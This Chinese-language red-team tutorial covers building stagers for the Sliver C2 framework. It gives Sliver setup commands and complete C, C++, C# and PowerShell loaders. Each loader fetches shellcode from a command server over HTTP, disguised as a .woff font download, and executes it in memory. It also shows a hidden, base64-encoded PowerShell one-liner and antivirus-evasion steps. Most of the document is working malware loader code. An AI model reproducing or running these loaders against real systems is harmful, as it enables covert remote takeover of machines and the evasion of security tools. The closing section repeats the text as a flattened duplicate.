红队工具研究篇 - SliverC2 Stager研究(上)
字数 1235 2025-08-06 12:20:57

SliverC2 Stager 研究教学文档

一、背景及概念

1.1 Stager定义

Stager(分阶段执行器)是红队工具中的关键技术,其核心作用是从C2服务器下载Sliver Shellcode并上线Sliver C2。Stager = Dropper + ShellCode Runner。

1.2 优势

  • 体积小:相比Sliver原生Implant的10+MB,Stager通常只有几KB
  • 无文件落地:Shellcode直接运行在内存中,避免静态查杀

二、快速上手 - 简易Stager

2.1 创建配置文件

profiles new --http 172.16.181.182:9002 --skip-symbols --format shellcode --arch amd64 win64_stage
http -l 9002

2.2 创建分阶段监听器

stage-listener --url tcp://172.16.181.182:8443 --profile win64_stage

2.3 生成Stager

generate stager --lhost 172.16.181.182 --lport 8443 --arch amd64 --format c

2.4 C语言简易Stager实现

#include "windows.h"

int main()
{
    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0..."; // 生成的shellcode
    
    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
    
    return 0;
}

编译命令:

x86_64-w64-mingw32-gcc -o runner.exe 1.c

2.5 通信流程分析

  1. Stager通过TCP 8443端口建立连接,传输Sliver Shellcode
  2. 后续通过HTTP 9002端口进行通信交互

三、免杀尝试

3.1 SysWhispers3WinHttp方法(失败)

generate stager --lhost 172.16.181.182 --lport 8443 --arch amd64 --format raw --save beacon.bin

问题:工具适用于直接上线的shellcode,不适用于连接Stage监听器

3.2 FilelessPELoader方法(成功)

  1. 加密Stager:
FilelessPELoader.exe 172.16.181.177 8888 cipher.bin key.bin
  1. 网络分离加载:
FilelessPELoader.exe 172.16.181.177 8888 cipher.bin key.bin

四、自定义Stager实现

4.1 C++ Stager实现

完整代码

#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment (lib, "Wininet.lib")

struct Shellcode {
    byte* data;
    DWORD len;
};

Shellcode Download(LPCWSTR host, INTERNET_PORT port);
void Execute(Shellcode shellcode);

int main() {
    ::ShowWindow(::GetConsoleWindow(), SW_HIDE);
    Shellcode shellcode = Download(L"172.16.181.182", 80);
    Execute(shellcode);
    return 0;
}

Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
    HINTERNET session = InternetOpen(L"Mozilla/5.0...", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    HINTERNET connection = InternetConnect(session, host, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
    HINTERNET request = HttpOpenRequest(connection, L"GET", L"/fontawesome.woff", NULL, NULL, NULL, 0, 0);

    WORD counter = 0;
    while (!HttpSendRequest(request, NULL, 0, 0, 0)) {
        counter++;
        Sleep(3000);
        if (counter >= 3) exit(0);
    }

    DWORD bufSize = BUFSIZ;
    byte* buffer = new byte[bufSize];
    DWORD capacity = bufSize;
    byte* payload = (byte*)malloc(capacity);
    DWORD payloadSize = 0;

    while (true) {
        DWORD bytesRead;
        if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) exit(0);
        if (bytesRead == 0) break;
        if (payloadSize + bytesRead > capacity) {
            capacity *= 2;
            byte* newPayload = (byte*)realloc(payload, capacity);
            payload = newPayload;
        }
        for (DWORD i = 0; i < bytesRead; i++) {
            payload[payloadSize++] = buffer[i];
        }
    }
    byte* newPayload = (byte*)realloc(payload, payloadSize);

    InternetCloseHandle(request);
    InternetCloseHandle(connection);
    InternetCloseHandle(session);

    struct Shellcode out;
    out.data = payload;
    out.len = payloadSize;
    return out;
}

void Execute(Shellcode shellcode) {
    void* exec = VirtualAlloc(0, shellcode.len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode.data, shellcode.len);
    ((void(*)())exec)();
}

关键点分析

  1. 下载部分

    • 使用WinInet库实现HTTP请求
    • 伪装User-Agent:Mozilla/5.0...
    • 请求URL:/fontawesome.woff作为伪装
    • 失败重试3次,每次间隔3秒
  2. 执行部分

    • VirtualAlloc分配内存
    • memcpy复制shellcode
    • 函数指针执行

4.2 C# .NET Stager实现

完整代码

using System;
using System.Net;
using System.Runtime.InteropServices;

namespace L13_CS_Stager {
    class Program {
        private static byte[] Download(string url) {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            return shellcode;
        }

        [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")] public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        private static void Execute(byte[] buf) {
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
            Marshal.Copy(buf, 0, (IntPtr)(addr), buf.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); 
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }

        static void Main(string[] args) {
            byte[] shellcode = Download("http://172.16.181.182/fontawesome.woff");
            Execute(shellcode);
            return;
        }
    }
}

关键点分析

  1. P/Invoke声明

    • VirtualAlloc:分配内存
    • CreateThread:创建线程
    • WaitForSingleObject:防止立即退出
  2. 下载部分

    • 禁用证书验证
    • 使用WebClient.DownloadData下载shellcode
  3. 执行部分

    • Marshal.Copy复制shellcode到内存
    • 创建线程执行

4.3 PowerShell Stager实现

完整代码

$shell = @" 
using System;
using System.Runtime.InteropServices;
public class shell{
    [DllImport("kernel32.dll")] 
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi)]  
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]  
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@

Add-Type $shell

$url = "http://172.16.181.182/fontawesome.woff"
$client = New-Object System.Net.WebClient
$shellcode = $client.DownloadData($url)
[Byte[]] $payload = $shellcode

$payload_len = $payload.Length
[IntPtr]$exec_mem = [shell]::VirtualAlloc(0,$payload_len,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $exec_mem, $payload_len)
$tHandle = [shell]::CreateThread(0,0,$exec_mem,0,0,0)
[shell]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

一行命令执行方式

  1. 加密脚本:
cat stager.ps1 | iconv --to-code UTF-16LE | base64 -w 0
  1. 执行命令:
powershell.exe -nop -w hidden -Enc JABzAGgAZQBsAGwAIAA9ACAAQAAiACAACgB1AH...

五、通信流量特征

  1. 初始连接

    • 请求.woff文件下载shellcode
    • 7000+个TCP请求传输数据
  2. 后续通信

    • 建立TLS连接
    • 发送带有.html后缀的URL建立C2连接

六、总结与后续方向

6.1 技术总结

  • 三种语言实现Stager各有优势:C++性能最佳,C#易开发,PowerShell无需编译
  • 关键点:内存加载、伪装通信、错误处理

6.2 后续研究方向

  1. 进一步免杀

    • 反射加载技术
    • API混淆
    • 代码加密
  2. 其他实现思路

    • 基于DLL的Stager
    • 基于VBA的Office文档Stager
    • 基于JavaScript的HTA Stager
SliverC2 Stager 研究教学文档 一、背景及概念 1.1 Stager定义 Stager(分阶段执行器)是红队工具中的关键技术,其核心作用是从C2服务器下载Sliver Shellcode并上线Sliver C2。Stager = Dropper + ShellCode Runner。 1.2 优势 体积小 :相比Sliver原生Implant的10+MB,Stager通常只有几KB 无文件落地 :Shellcode直接运行在内存中,避免静态查杀 二、快速上手 - 简易Stager 2.1 创建配置文件 2.2 创建分阶段监听器 2.3 生成Stager 2.4 C语言简易Stager实现 编译命令: 2.5 通信流程分析 Stager通过TCP 8443端口建立连接,传输Sliver Shellcode 后续通过HTTP 9002端口进行通信交互 三、免杀尝试 3.1 SysWhispers3WinHttp方法(失败) 问题:工具适用于直接上线的shellcode,不适用于连接Stage监听器 3.2 FilelessPELoader方法(成功) 加密Stager: 网络分离加载: 四、自定义Stager实现 4.1 C++ Stager实现 完整代码 关键点分析 下载部分 : 使用WinInet库实现HTTP请求 伪装User-Agent: Mozilla/5.0... 请求URL: /fontawesome.woff 作为伪装 失败重试3次,每次间隔3秒 执行部分 : VirtualAlloc 分配内存 memcpy 复制shellcode 函数指针执行 4.2 C# .NET Stager实现 完整代码 关键点分析 P/Invoke声明 : VirtualAlloc :分配内存 CreateThread :创建线程 WaitForSingleObject :防止立即退出 下载部分 : 禁用证书验证 使用 WebClient.DownloadData 下载shellcode 执行部分 : Marshal.Copy 复制shellcode到内存 创建线程执行 4.3 PowerShell Stager实现 完整代码 一行命令执行方式 加密脚本: 执行命令: 五、通信流量特征 初始连接 : 请求 .woff 文件下载shellcode 7000+个TCP请求传输数据 后续通信 : 建立TLS连接 发送带有 .html 后缀的URL建立C2连接 六、总结与后续方向 6.1 技术总结 三种语言实现Stager各有优势:C++性能最佳,C#易开发,PowerShell无需编译 关键点:内存加载、伪装通信、错误处理 6.2 后续研究方向 进一步免杀 : 反射加载技术 API混淆 代码加密 其他实现思路 : 基于DLL的Stager 基于VBA的Office文档Stager 基于JavaScript的HTA Stager